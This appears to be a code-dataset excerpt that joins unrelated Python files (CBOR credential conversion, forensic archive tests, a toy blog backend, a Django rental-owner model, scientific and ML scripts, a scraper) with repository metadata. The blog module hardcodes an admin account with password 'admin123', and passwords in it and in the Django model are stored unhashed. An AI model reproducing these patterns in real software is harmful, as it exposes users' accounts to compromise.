namedtuple('Certificate', ['Data', 'Format', 'Name']) Key = namedtuple('Key', ['Data', 'Format', 'Name', 'Type']) class CBORConverter(): def __init__(self, development_certificate, update_resource, cbor_file): self.development_certificate = development_certificate self.update_resource = update_resource self.cbor_file = cbor_file def __check_file_exists(self, path): if not os.path.isfile(path): print("File '%s' does not exist.") return False return True def parse_c_file(self): if not self.__check_file_exists(self.development_certificate) or \ not self.__check_file_exists(self.update_resource): return None values = {} values.update(CParser([self.development_certificate]).defs.get('values')) values.update(CParser([self.update_resource], macros={ 'MBED_CLOUD_DEV_UPDATE_ID' : 1, 'MBED_CLOUD_DEV_UPDATE_CERT' : 1 }).defs.get('values')) return values def create_cbor_data(self, vars): cbor_data = {'Certificates': [], 'Keys' : [], 'ConfigParams': [], 'SchemeVersion': '0.0.1'} use_bootstrap = 1 if 'MBED_CLOUD_DEV_BOOTSTRAP_SERVER_URI' in vars.keys() else 0 cbor_data['ConfigParams'].append(ConfigParam(use_bootstrap, 'mbed.UseBootstrap')._asdict()) for key in vars.keys(): var = vars.get(key) cbor_var_key = KEY_MAP.get(key, None) if cbor_var_key: if key in CERTIFICATE_KEYS: byte_data = struct.pack('%sB' % len(var), *var); certificate = Certificate(byte_data, 'der', cbor_var_key)._asdict() cbor_data['Certificates'].append(certificate) elif key in KEY_KEYS: byte_data = struct.pack('%sB' % len(var), *var); private_key = Key(byte_data, 'der', cbor_var_key, 'ECCPrivate')._asdict() cbor_data['Keys'].append(private_key) elif key in UPDATE_KEYS: byte_data = struct.pack('%sB' % len(var), *var) config_param = ConfigParam(byte_data, cbor_var_key)._asdict() cbor_data['ConfigParams'].append(config_param) else: config_param = ConfigParam(var, cbor_var_key)._asdict() cbor_data['ConfigParams'].append(config_param) else: print("Key %s not in KEY_MAP." % key) return cbor_data def convert_to_cbor(self): vars = self.parse_c_file() if not vars: print("No variables parsed.") else: cbor_data = self.create_cbor_data(vars) with open(self.cbor_file, 'wb') as out_file: cbor2.dump(cbor_data, out_file)

40.661538

99

0.620885

2,896

0.547862

0

2,257

0.426977

4258ec1ee3116d288de649b3f19210bd3aa35e35

3,012

py

Python

turbinia/processors/archive_test.py

sa3eed3ed/turbinia

1eb4db37813f2bd44dcc2c3764e9411f6a2f9d97

[ "Apache-2.0" ]

559

2015-09-16T21:55:12.000Z

2022-03-28T11:08:11.000Z

turbinia/processors/archive_test.py

sa3eed3ed/turbinia

1eb4db37813f2bd44dcc2c3764e9411f6a2f9d97

[ "Apache-2.0" ]

630

2015-09-16T21:53:41.000Z

2022-03-25T07:03:32.000Z

turbinia/processors/archive_test.py

sa3eed3ed/turbinia

1eb4db37813f2bd44dcc2c3764e9411f6a2f9d97

[ "Apache-2.0" ]

158

2015-12-06T20:39:32.000Z

2022-03-13T22:15:01.000Z

# -*- coding: utf-8 -*- # Copyright 2019 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for the Archive processor to compress and decompress folders.""" from __future__ import unicode_literals import os import tarfile import unittest import tempfile from random import randint from shutil import rmtree from turbinia.processors import archive from turbinia import TurbiniaException class ArchiveProcessorTest(unittest.TestCase): """Tests for Archive Processor.""" def setUp(self): # Setup testing directories/variables. self.test_files = [] self.base_output_dir = tempfile.mkdtemp(prefix='turbinia-test-local') self.tmp_files_dir = os.path.join(self.base_output_dir, 'files') self.tmp_archive = os.path.join(self.base_output_dir, 'files.tar.gz') if not os.path.exists(self.tmp_files_dir): os.makedirs(self.tmp_files_dir) # Generate text files containing random numbers. file_max = 10 counter = 0 while counter <= file_max: file_name = 'file{0:s}.txt'.format(str(counter)) file_path = os.path.join(self.tmp_files_dir, file_name) file_open = open(file_path, 'w+') rand_nums = [randint(0, 1000) for i in range(50)] for i in rand_nums: file_open.write('%s\n' % str(i)) file_open.close() counter += 1 self.test_files.append(file_name) archive.CompressDirectory(self.tmp_files_dir) def tearDown(self): # Remove testing directory for this unit test. if os.path.exists(self.base_output_dir): rmtree(self.base_output_dir) def test_compressed_dir(self): """Tests the compression function""" # Check if compressed directory matches expected output path. self.assertEqual( archive.CompressDirectory(self.tmp_files_dir), self.tmp_archive) # Check to confirm that the archive is gzip format. self.assertEqual(tarfile.is_tarfile(self.tmp_archive), True) # Raise assertion if folder does not exist. with self.assertRaises(TurbiniaException): archive.CompressDirectory('blah') def test_validate_tarfile(self): """Tests the validate function used to decompress tar files""" # Raise exception for file that does not exist. with self.assertRaises(TurbiniaException): archive.ValidateTarFile('blah.no') # Raise exception for a file with unsupported extension. with self.assertRaises(TurbiniaException): archive.ValidateTarFile(self.tmp_files_dir) if __name__ == '__main__': unittest.main()

33.842697

74

0.729416

2,056

0.682603

0

1,273

0.422643

42595d917949c306ffaf79514babf64460ba3c69

1,869

py

Python

blog.py

BenTimor/SerializationConceptSystem

0f85dc32063d270a5564cda3199d84d474e5d83e

[ "MIT" ]

1

2020-11-13T22:21:47.000Z

blog.py

BenTimor/SerializationConceptSystem

0f85dc32063d270a5564cda3199d84d474e5d83e

[ "MIT" ]

null

blog.py

BenTimor/SerializationConceptSystem

0f85dc32063d270a5564cda3199d84d474e5d83e

[ "MIT" ]

null

from utils import database class Config: config = None def __init__(self, users, posts, comments): self.users = users self.posts = posts self.comments = comments Config.config = self @staticmethod def update(): database["concept", True]["config", "WHERE id=1"] = Config.config @staticmethod def setup(): try: Config.config = database["concept", True]["config", "WHERE id=1"][0][0] except: Config.config = Config([User("Admin", "admin123", True)], [Post("Admin", 0, "Hello World!", "Lorem Ipsum")], {0: [Comment("Admin", "Lorem Ipsum")]}) database["concept", True]["config"] = Config.config class User: def __init__(self, name, password, is_admin=False): self.name = name self.is_admin = is_admin self.password = password @staticmethod def new_user(name, password, is_admin=False): Config.config.users.append(User(name, password, is_admin)) Config.update() @staticmethod def get_user(name): for user in Config.config.users: if user.name == name: return user class Post: def __init__(self, user, id, title, content): self.user = user self.id = id self.title = title self.content = content @staticmethod def new_post(user, title, content): Config.config.posts.append(Post(user, len(Config.config.posts), title, content)) Config.update() class Comment: def __init__(self, user, content): self.user = user self.content = content @staticmethod def new_comment(post, user, content): if not Config.config.comments[post]: Config.config.comments[post] = [] Config.config.comments[post].append(Comment(user, content)) Config.update()

29.666667

160

0.602996

1,835

0.981808

0

1,171

0.626538

0

146

0.078117

4259a696e067dbb5b562342c586a116816461462

29

py

Python

src/svr/tests/__init__.py

yottaawesome/fsnd-project-2

7ed478fa945a561a28af06dc8e4492a9fbea510a

[ "MIT" ]

3

2019-05-04T12:30:00.000Z

2020-05-14T06:28:51.000Z

src/svr/tests/__init__.py

yottaawesome/fsnd-project-2

7ed478fa945a561a28af06dc8e4492a9fbea510a

[ "MIT" ]

1

2019-05-05T01:30:37.000Z

2019-05-16T02:50:04.000Z

src/svr/tests/__init__.py

yottaawesome/fsnd-project-2

7ed478fa945a561a28af06dc8e4492a9fbea510a

[ "MIT" ]

1

2020-03-27T07:12:40.000Z

from .test_db import TestDal

14.5

28

0.827586

0

425afadcb24a0ea23083f2d7fe78d83b6b1403c9

971

py

Python

Owner/models.py

2000090063/Vehicle_Rental_System-SDP-2-

483d811aa239a226607b4bfb262c99da3be017b4

[ "MIT" ]

3

2022-03-12T08:27:42.000Z

2022-03-17T12:16:16.000Z

Owner/models.py

2000090063/Vehicle_Rental_System-SDP-2-

483d811aa239a226607b4bfb262c99da3be017b4

[ "MIT" ]

null

Owner/models.py

2000090063/Vehicle_Rental_System-SDP-2-

483d811aa239a226607b4bfb262c99da3be017b4

[ "MIT" ]

null

from django.db import models # Create your models here. class Owner(models.Model): Owner_id = models.AutoField Owner_firstname = models.CharField(max_length=60) Owner_lastname = models.CharField(max_length=60) Owner_address = models.CharField(max_length=600) Owner_email = models.CharField(max_length=100) Owner_password = models.CharField(max_length=32) Owner_dob = models.DateField() Owner_mobileno = models.CharField(max_length=10) Owner_gender = models.CharField(max_length=15) Owner_license = models.ImageField(upload_to='img/Owner_License/') Owner_agency = models.CharField(max_length=100) Owner_city = models.CharField(max_length=30) Owner_state = models.CharField(max_length=30) Owner_country = models.CharField(max_length=30) Owner_pincode = models.IntegerField() isOwner = models.BooleanField(default=True) def __str__(self): return self.Owner_email + ": " + str(self.Owner_license)

42.217391

70

0.748713

914

0.941298

0

50

0.051493

425c5f6cf6cd74314b97f4bcb6721e3f260e8ac7

6,548

py

Python

tectosaur/fmm/builder.py

jlmaurer/tectosaur

7cc5606d814f061395b19754e7a4b6c5e4c236e5

[ "MIT" ]

17

2017-06-29T16:48:56.000Z

2021-10-03T18:31:41.000Z

tectosaur/fmm/builder.py

jlmaurer/tectosaur

7cc5606d814f061395b19754e7a4b6c5e4c236e5

[ "MIT" ]

4

2018-05-29T08:21:13.000Z

2021-04-01T01:28:50.000Z

tectosaur/fmm/builder.py

jlmaurer/tectosaur

7cc5606d814f061395b19754e7a4b6c5e4c236e5

[ "MIT" ]

8

2019-06-10T22:19:40.000Z

2022-01-12T20:55:37.000Z

import numpy as np import tectosaur.util.gpu as gpu from tectosaur.fmm.c2e import build_c2e import logging logger = logging.getLogger(__name__) def make_tree(m, cfg, max_pts_per_cell): tri_pts = m[0][m[1]] centers = np.mean(tri_pts, axis = 1) pt_dist = tri_pts - centers[:,np.newaxis,:] Rs = np.max(np.linalg.norm(pt_dist, axis = 2), axis = 1) tree = cfg.traversal_module.Tree.build(centers, Rs, max_pts_per_cell) return tree class FMM: def __init__(self, obs_tree, obs_m, src_tree, src_m, cfg): self.cfg = cfg self.obs_tree = obs_tree self.obs_m = obs_m self.src_tree = src_tree self.src_m = src_m self.gpu_data = dict() self.setup_interactions() self.collect_gpu_ops() self.setup_output_sizes() self.params_to_gpu() self.tree_to_gpu(obs_m, src_m) self.interactions_to_gpu() self.d2e_u2e_ops_to_gpu() def setup_interactions(self): self.interactions = self.cfg.traversal_module.fmmmm_interactions( self.obs_tree, self.src_tree, self.cfg.inner_r, self.cfg.outer_r, self.cfg.order, self.cfg.treecode ) def collect_gpu_ops(self): self.gpu_ops = dict() for a in ['s', 'p']: for b in ['s', 'p']: name = a + '2' + b self.gpu_ops[name] = getattr(self.cfg.gpu_module, name + '_' + self.cfg.K.name) self.gpu_ops['c2e1'] = self.cfg.gpu_module.c2e_kernel1 self.gpu_ops['c2e2'] = self.cfg.gpu_module.c2e_kernel2 def setup_output_sizes(self): self.n_surf_tris = self.cfg.surf[1].shape[0] self.n_surf_dofs = self.n_surf_tris * 9 self.n_multipoles = self.n_surf_dofs * self.src_tree.n_nodes self.n_locals = self.n_surf_dofs * self.obs_tree.n_nodes self.n_input = self.src_m[1].shape[0] * 9 self.n_output = self.obs_m[1].shape[0] * 9 def float_gpu(self, arr): return gpu.to_gpu(arr, self.cfg.float_type) def int_gpu(self, arr): return gpu.to_gpu(arr, np.int32) def params_to_gpu(self): self.gpu_data['params'] = self.float_gpu(self.cfg.params) def tree_to_gpu(self, obs_m, src_m): gd = self.gpu_data gd['obs_pts'] = self.float_gpu(obs_m[0]) gd['obs_tris'] = self.int_gpu(obs_m[1][self.obs_tree.orig_idxs]) gd['src_pts'] = self.float_gpu(src_m[0]) gd['src_tris'] = self.int_gpu(src_m[1][self.src_tree.orig_idxs]) obs_tree_nodes = self.obs_tree.nodes src_tree_nodes = self.src_tree.nodes for name, tree in [('src', self.src_tree), ('obs', self.obs_tree)]: gd[name + '_n_C'] = self.float_gpu(tree.node_centers) gd[name + '_n_R'] = self.float_gpu(tree.node_Rs) for name, tree in [('src', src_tree_nodes), ('obs', obs_tree_nodes)]: gd[name + '_n_start'] = self.int_gpu(np.array([n.start for n in tree])) gd[name + '_n_end'] = self.int_gpu(np.array([n.end for n in tree])) def interactions_to_gpu(self): op_names = ['p2p', 'p2m', 'p2l', 'm2p', 'm2m', 'm2l', 'l2p', 'l2l'] for name in op_names: op = getattr(self.interactions, name) if type(op) is list: for i, op_level in enumerate(op): self.op_to_gpu(name + str(i), op_level) else: self.op_to_gpu(name, op) def op_to_gpu(self, name, op): for data_name in ['obs_n_idxs', 'obs_src_starts', 'src_n_idxs']: self.gpu_data[name + '_' + data_name] = self.int_gpu( np.array(getattr(op, data_name), copy = False) ) def d2e_u2e_ops_to_gpu(self): gd = self.gpu_data gd['u2e_obs_n_idxs'] = [ self.int_gpu(np.array(self.interactions.u2e[level].obs_n_idxs, copy = False)) for level in range(len(self.interactions.m2m)) ] gd['d2e_obs_n_idxs'] = [ self.int_gpu(np.array(self.interactions.d2e[level].obs_n_idxs, copy = False)) for level in range(len(self.interactions.l2l)) ] u2e_UT, u2e_E, u2e_V = build_c2e( self.src_tree, self.cfg.outer_r, self.cfg.inner_r, self.cfg ) gd['u2e_V'] = self.float_gpu(u2e_V) gd['u2e_E'] = self.float_gpu(u2e_E) gd['u2e_UT'] = self.float_gpu(u2e_UT) d2e_UT, d2e_E, d2e_V = build_c2e( self.obs_tree, self.cfg.inner_r, self.cfg.outer_r, self.cfg ) gd['d2e_V'] = self.float_gpu(d2e_V) gd['d2e_E'] = self.float_gpu(d2e_E) gd['d2e_UT'] = self.float_gpu(d2e_UT) def to_tree(self, input_orig): orig_idxs = np.array(self.src_tree.orig_idxs) input_orig = input_orig.reshape((-1,9)) return input_orig[orig_idxs,:].flatten() def to_orig(self, output_tree): orig_idxs = np.array(self.obs_tree.orig_idxs) output_tree = output_tree.reshape((-1, 9)) output_orig = np.empty_like(output_tree) output_orig[orig_idxs,:] = output_tree return output_orig.flatten() def report_interactions(fmm_obj): dim = fmm_obj.obs_m[1].shape[1] order = fmm_obj.cfg.surf[1].shape[0] def count_interactions(op_name, op): obs_surf = False if op_name[2] == 'p' else True src_surf = False if op_name[0] == 'p' else True return fmm_obj.cfg.traversal_module.count_interactions( op, fmm_obj.obs_tree, fmm_obj.src_tree, obs_surf, src_surf, order ) n_obs_tris = fmm_obj.obs_m[1].shape[0] n_src_tris = fmm_obj.src_m[1].shape[0] level_ops = ['m2m', 'l2l'] ops = ['p2m', 'p2l', 'm2l', 'p2p', 'm2p', 'l2p'] interactions = dict() for op_name in ops: op = getattr(fmm_obj.interactions, op_name) interactions[op_name] = count_interactions(op_name, op) for op_name in level_ops: ops = getattr(fmm_obj.interactions, op_name) for op in ops: if op_name not in interactions: interactions[op_name] = 0 interactions[op_name] += count_interactions(op_name, op) direct_i = n_obs_tris * n_src_tris fmm_i = sum([v for k,v in interactions.items()]) logger.info('compression factor: ' + str(fmm_i / direct_i)) logger.info('# obs tris: ' + str(n_obs_tris)) logger.info('# src tris: ' + str(n_src_tris)) logger.info('total tree interactions: %e' % fmm_i) for k, v in interactions.items(): logger.info('total %s interactions: %e' % (k, v))

36.786517

95

0.609652

4,655

0.710904

0

437

0.066738

425d43c4429c4fecedfff11a5de11c9d121390a6

2,553

py

Python

fabio/test/codecs/test_mpaimage.py

picca/fabio

bc3aae330bef6e1c983007562157edfe6d7daf91

[ "Apache-2.0" ]

null

fabio/test/codecs/test_mpaimage.py

picca/fabio

bc3aae330bef6e1c983007562157edfe6d7daf91

[ "Apache-2.0" ]

2

2019-04-24T13:43:41.000Z

2019-06-13T08:54:02.000Z

fabio/test/codecs/test_mpaimage.py

boesecke/fabio

11350e445a6def4d02c6860aea3ae7f36652af6a

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # # Project: Fable Input Output # https://github.com/silx-kit/fabio # # Copyright (C) European Synchrotron Radiation Facility, Grenoble, France # # Principal author: Jérôme Kieffer (Jerome.Kieffer@ESRF.eu) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # """Multiwire Unit tests""" from __future__ import print_function, with_statement, division, absolute_import import unittest import logging logger = logging.getLogger(__name__) import fabio from ..utilstest import UtilsTest class TestMpa(unittest.TestCase): """ Test classe for multiwire (mpa) images """ TESTIMAGES = [ # filename dim1 dim2 min max mean stddev ("mpa_test.mpa", 1024, 1024, 0, 1295, 0.8590, 18.9393), ] def test_read(self): """ Test the reading of multiwire images """ for imageData in self.TESTIMAGES: name, dim1, dim2, mini, maxi, mean, stddev = imageData shape = dim2, dim1 logger.debug("Processing: %s" % name) path = UtilsTest.getimage(name + ".bz2")[:-4] obj = fabio.mpaimage.MpaImage() obj.read(path) self.assertAlmostEqual(mini, obj.getmin(), 2, "getmin [%s,%s]" % (mini, obj.getmin())) self.assertAlmostEqual(maxi, obj.getmax(), 2, "getmax [%s,%s]" % (maxi, obj.getmax())) self.assertAlmostEqual(mean, obj.getmean(), 2, "getmean [%s,%s]" % (mean, obj.getmean())) self.assertAlmostEqual(stddev, obj.getstddev(), 2, "getstddev [%s,%s]" % (stddev, obj.getstddev())) self.assertEqual(shape, obj.shape) def suite(): loadTests = unittest.defaultTestLoader.loadTestsFromTestCase testsuite = unittest.TestSuite() testsuite.addTest(loadTests(TestMpa)) return testsuite if __name__ == '__main__': runner = unittest.TextTestRunner() runner.run(suite())

34.04

111

0.653741

1,105

0.432485

0

1,220

0.477495

425dd97c671323bb5d6b53095ab3886bfc7da465

1,064

py

Python

currencySpider.py

cloud322/helloScrap

6313c5b99bce04c6a78a5dfb2ec910c73a33add3

[ "Apache-2.0" ]

null

currencySpider.py

cloud322/helloScrap

6313c5b99bce04c6a78a5dfb2ec910c73a33add3

[ "Apache-2.0" ]

null

currencySpider.py

cloud322/helloScrap

6313c5b99bce04c6a78a5dfb2ec910c73a33add3

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import scrapy import codecs import sys #리눅스상에서 utf-8 로 파일에 내용을 기록하려면 시스템 기본 인코딩으 ㄹutf-8 로 설정해야함 reload(sys) sys.setdefaultencoding('utf8') # scrapy 에서 spider 는 crawling/scrapping을 담당하는 핵심부분 #crawling/scrapping 절차에 대한 정의를 하는 부분 class CurrSpider(scrapy.Spider): name = 'currSpider' start_urls = ['http://finance.naver.com/marketindex/?tabSel=exchange#tab_section'] def parse(self, response): ranks = response.css('span.blind::text').extract() titles = response.css('span.value::text').extract() with codecs.open('curr.csv','w','utf-8') as f: # 처리결과 저장하기위해 # movierank.csv 라는 이름으로 쓰기 모드로 open # for i in range(0,4): # rank = ranks[i].replace('\r\n', ' ') # rank = ''.join(rank.split()) print(ranks) # title = titles[i].replace('\r\n', ' ') # title = title.strip().encode('utf-8') print(titles) f.write('%s,%s\n' % (ranks, titles)) f.close()

28

86

0.56015

853

0.698036

0

698

0.571195

425f6d304bf8b5a8fd1c2a47d2f7c554468160b1

1,812

py

Python

tests/test_sanity_check/test_similar_columns.py

thibaultbl/feature_engine

08374227e7a88b67ee64b64f22e4f30390df9253

[ "BSD-3-Clause" ]

1

2021-09-08T08:54:56.000Z

tests/test_sanity_check/test_similar_columns.py

thibaultbl/feature_engine

08374227e7a88b67ee64b64f22e4f30390df9253

[ "BSD-3-Clause" ]

1

2021-09-10T08:54:51.000Z

tests/test_sanity_check/test_similar_columns.py

thibaultbl/feature_engine

08374227e7a88b67ee64b64f22e4f30390df9253

[ "BSD-3-Clause" ]

null

import numpy as np import pandas as pd from feature_engine.sanity_check import SimilarColumns def test_similar_columns_when_more_columns_in_train_than_test( df_vartypes, df_na ): # When columns are the same train = df_na.copy() test = df_vartypes.copy() similar_columns = SimilarColumns() similar_columns.fit(train) transformed_df = similar_columns.transform(test) expected_result = pd.DataFrame( { "Name": ["tom", "nick", "krish", "jack"], "City": ["London", "Manchester", "Liverpool", "Bristol"], "Studies": [np.nan, np.nan, np.nan, np.nan], "Age": [20, 21, 19, 18], "Marks": [0.9, 0.8, 0.7, 0.6], "dob": pd.date_range("2020-02-24", periods=4, freq="T"), } ) pd.testing.assert_frame_equal(expected_result, transformed_df) def test_similar_columns_when_more_columns_in_test_than_train( df_vartypes, df_na ): # When columns are the same train = df_vartypes test = df_na similar_columns = SimilarColumns() similar_columns.fit(train) transformed_df = similar_columns.transform(test) expected_result = pd.DataFrame( { "Name": ["tom", "nick", "krish", np.nan, "peter", np.nan, "fred", "sam"], "City": [ "London", "Manchester", np.nan, np.nan, "London", "London", "Bristol", "Manchester", ], "Age": [20, 21, 19, np.nan, 23, 40, 41, 37], "Marks": [0.9, 0.8, 0.7, np.nan, 0.3, np.nan, 0.8, 0.6], "dob": pd.date_range("2020-02-24", periods=8, freq="T"), } ) pd.testing.assert_frame_equal(expected_result, transformed_df)

27.044776

85

0.557395

0

308

0.169978

425fb9945bfce39ef08339e9cffda8aa831a4e3d

6,780

py

Python

examples/sem_seg_dense/train.py

megaelius/deep_gcns_torch

5d565a02020ff9faff3a34d55f278e7328c73ec2

[ "MIT" ]

null

examples/sem_seg_dense/train.py

megaelius/deep_gcns_torch

5d565a02020ff9faff3a34d55f278e7328c73ec2

[ "MIT" ]

null

examples/sem_seg_dense/train.py

megaelius/deep_gcns_torch

5d565a02020ff9faff3a34d55f278e7328c73ec2

[ "MIT" ]

null

import __init__ import os #os.environ['LD_LIBRARY_PATH'] += ':/usr/local/cuda-11.1/bin64:/usr/local/cuda-11.2/bin64' import numpy as np import torch import torch.multiprocessing as mp import torch_geometric.datasets as GeoData from torch_geometric.loader import DenseDataLoader import torch_geometric.transforms as T from torch.nn.parallel import DistributedDataParallel from torch.utils.data.distributed import DistributedSampler from config import OptInit from architecture import DenseDeepGCN, CustomDenseDeepGCN from utils.ckpt_util import load_pretrained_models, load_pretrained_optimizer, save_checkpoint from utils.metrics import AverageMeter import logging from tqdm import tqdm from parallel_wrapper import launch import comm from torch.utils.tensorboard import SummaryWriter writer = SummaryWriter(log_dir='log/mlp4') def train(model, train_loader, optimizer, criterion, opt, cur_rank): opt.losses.reset() model.train() with tqdm(train_loader) as tqdm_loader: for i, data in enumerate(tqdm_loader): opt.iter += 1 desc = 'Epoch:{} Iter:{} [{}/{}] Loss:{Losses.avg: .4f}'\ .format(opt.epoch, opt.iter, i + 1, len(train_loader), Losses=opt.losses) tqdm_loader.set_description(desc) inputs = torch.cat((data.pos.transpose(2, 1).unsqueeze(3), data.x.transpose(2, 1).unsqueeze(3)), 1) gt = data.y.to(opt.device) # ------------------ zero, output, loss optimizer.zero_grad() out = model(inputs) loss = criterion(out, gt) # ------------------ optimization loss.backward() optimizer.step() opt.losses.update(loss.item()) def test(model, loader, opt, cur_rank): Is = np.empty((len(loader), opt.n_classes)) Us = np.empty((len(loader), opt.n_classes)) model.eval() with torch.no_grad(): for i, data in enumerate(tqdm(loader)): inputs = torch.cat((data.pos.transpose(2, 1).unsqueeze(3), data.x.transpose(2, 1).unsqueeze(3)), 1) gt = data.y out = model(inputs) pred = out.max(dim=1)[1] pred_np = pred.cpu().numpy() target_np = gt.cpu().numpy() for cl in range(opt.n_classes): cur_gt_mask = (target_np == cl) cur_pred_mask = (pred_np == cl) I = np.sum(np.logical_and(cur_pred_mask, cur_gt_mask), dtype=np.float32) U = np.sum(np.logical_or(cur_pred_mask, cur_gt_mask), dtype=np.float32) Is[i, cl] = I Us[i, cl] = U ious = np.divide(np.sum(Is, 0), np.sum(Us, 0)) ious[np.isnan(ious)] = 1 iou = np.mean(ious) if opt.phase == 'test': for cl in range(opt.n_classes): logging.info("===> mIOU for class {}: {}".format(cl, ious[cl])) opt.test_value = iou logging.info('TEST Epoch: [{}]\t mIoU: {:.4f}\t'.format(opt.epoch, opt.test_value)) def epochs(opt): logging.info('===> Creating dataloader ...') train_dataset = GeoData.S3DIS(opt.data_dir, opt.area, True, pre_transform=T.NormalizeScale()) train_sampler = DistributedSampler(train_dataset, shuffle=True, seed=opt.seed) train_loader = DenseDataLoader(train_dataset, batch_size=opt.batch_size, shuffle=False, sampler = train_sampler, num_workers=opt.n_gpus) test_dataset = GeoData.S3DIS(opt.data_dir, opt.area, train=False, pre_transform=T.NormalizeScale()) test_sampler = DistributedSampler(test_dataset, shuffle=False, seed=opt.seed) test_loader = DenseDataLoader(test_dataset, batch_size=opt.batch_size, shuffle=False, sampler = test_sampler, num_workers=opt.n_gpus) opt.n_classes = train_loader.dataset.num_classes cur_rank = comm.get_local_rank() logging.info('===> Loading the network ...') model = DistributedDataParallel(CustomDenseDeepGCN(opt).to(cur_rank),device_ids=[cur_rank], output_device=cur_rank,broadcast_buffers=False).to(cur_rank) logging.info('===> loading pre-trained ...') model, opt.best_value, opt.epoch = load_pretrained_models(model, opt.pretrained_model, opt.phase) logging.info(model) logging.info('===> Init the optimizer ...') criterion = torch.nn.CrossEntropyLoss().to(cur_rank) optimizer = torch.optim.Adam(model.parameters(), lr=opt.lr) scheduler = torch.optim.lr_scheduler.StepLR(optimizer, opt.lr_adjust_freq, opt.lr_decay_rate) optimizer, scheduler, opt.lr = load_pretrained_optimizer(opt.pretrained_model, optimizer, scheduler, opt.lr) logging.info('===> Init Metric ...') opt.losses = AverageMeter() opt.test_value = 0. logging.info('===> start training ...') for _ in range(opt.epoch, opt.total_epochs): opt.epoch += 1 train_sampler.set_epoch(opt.epoch) test_sampler.set_epoch(opt.epoch) logging.info('Epoch:{}'.format(opt.epoch)) train(model, train_loader, optimizer, criterion, opt, cur_rank) if opt.epoch % opt.eval_freq == 0 and opt.eval_freq != -1: test(model, test_loader, opt, cur_rank) scheduler.step() if comm.is_main_process(): # ------------------ save checkpoints # min or max. based on the metrics is_best = (opt.test_value < opt.best_value) opt.best_value = max(opt.test_value, opt.best_value) model_cpu = {k: v.cpu() for k, v in model.state_dict().items()} save_checkpoint({ 'epoch': opt.epoch, 'state_dict': model_cpu, 'optimizer_state_dict': optimizer.state_dict(), 'scheduler_state_dict': scheduler.state_dict(), 'best_value': opt.best_value, }, is_best, opt.ckpt_dir, opt.exp_name) # ------------------ tensorboard log info = { 'loss': opt.losses.avg, 'test_value': opt.test_value, 'lr': scheduler.get_lr()[0] } writer.add_scalar('Train Loss', info['loss'], opt.epoch) writer.add_scalar('Test IOU', info['test_value'], opt.epoch) writer.add_scalar('lr', info['lr'], opt.epoch) logging.info('Saving the final model.Finish!') def hola(): print('Hola') def main(): opt = OptInit().get_args() ''' This wrapper taken from detectron2 (https://github.com/facebookresearch/detectron2/blob/main/detectron2/engine/launch.py), creates n_gpus processes and launches epochs function on each of them. ''' launch( epochs, num_gpus_per_machine=opt.n_gpus, num_machines=1, machine_rank=0, dist_url='auto', args=(opt,) ) #epochs(opt) if __name__ == '__main__': main()

39.649123

156

0.633333

0

1,001

0.14764

426012a76defd0d35b2275dd689a17428018f29c

707

py

Python

sources/tkinter/prog03.py

kantel/pythoncuriosa

4dfb92b443cbe0acf8d8efa5c54efbf13e834620

[ "MIT" ]

null

sources/tkinter/prog03.py

kantel/pythoncuriosa

4dfb92b443cbe0acf8d8efa5c54efbf13e834620

[ "MIT" ]

null

sources/tkinter/prog03.py

kantel/pythoncuriosa

4dfb92b443cbe0acf8d8efa5c54efbf13e834620

[ "MIT" ]

null

import tkinter as tk from tkinter import ttk win = tk.Tk() win.title("Python GUI") win.resizable(False, False) win.configure(background = "grey94") a_label = ttk.Label(win, text = "Gib Deinen Namen ein:") a_label.grid(column = 0, row = 0) a_label.grid_configure(padx = 8, pady = 8) def clickMe(): action.configure(text = "Hallöchen " + name.get()) name = tk.StringVar() name_entered = ttk.Entry(win, width = 12, textvariable = name) name_entered.grid(column = 0, row = 1) name_entered.grid_configure(padx = 8, pady = 8) name_entered.focus() action = ttk.Button(win, text = "Drück mich!", command = clickMe) action.grid(column = 1, row = 1) action.grid_configure(padx = 8, pady = 8) win.mainloop()

26.185185

65

0.701556

0

70

0.098731

4260837af4a64a8bea9204399d75709291c91101

528

py

Python

openarticlegauge/slavedriver.py

CottageLabs/OpenArticleGauge

58d29b4209a7b59041d61326ffe1cf03f98f3cff

[ "BSD-3-Clause" ]

1

2016-04-07T18:29:27.000Z

openarticlegauge/slavedriver.py

CottageLabs/OpenArticleGauge

58d29b4209a7b59041d61326ffe1cf03f98f3cff

[ "BSD-3-Clause" ]

11

2015-01-06T15:53:09.000Z

2022-03-01T01:46:14.000Z

openarticlegauge/slavedriver.py

CottageLabs/OpenArticleGauge

58d29b4209a7b59041d61326ffe1cf03f98f3cff

[ "BSD-3-Clause" ]

null

""" Initialise the Celery instance to be used by the application This is largely just boiler plate, and we could probably look at coming back to it and cleaning it up a bit in the future. """ from __future__ import absolute_import from celery import Celery celery = Celery() from openarticlegauge import celeryconfig celery.config_from_object(celeryconfig) # Optional configuration, see the application user guide. celery.conf.update( CELERY_TASK_RESULT_EXPIRES=3600, ) if __name__ == '__main__': celery.start()

21.12

98

0.780303

0

260

0.492424

42629d99092a4d568c978d01f8d8dafafec338c9

28,061

py

Python

cbf_ros/scripts/cbf_controller_sy.py

k1majd/CBF_TB_RRT

2632357d42155de6dec5802c337a5abfdc824aac

[ "MIT" ]

2

2021-10-07T17:06:57.000Z

2021-11-23T15:58:14.000Z

cbf_ros/scripts/cbf_controller_sy.py

k1majd/CBF_TB_RRT

2632357d42155de6dec5802c337a5abfdc824aac

[ "MIT" ]

1

2021-10-13T17:18:32.000Z

2021-10-13T17:37:26.000Z

cbf_ros/scripts/cbf_controller_sy.py

k1majd/CBF_TB_RRT

2632357d42155de6dec5802c337a5abfdc824aac

[ "MIT" ]

1

2021-11-30T11:09:43.000Z

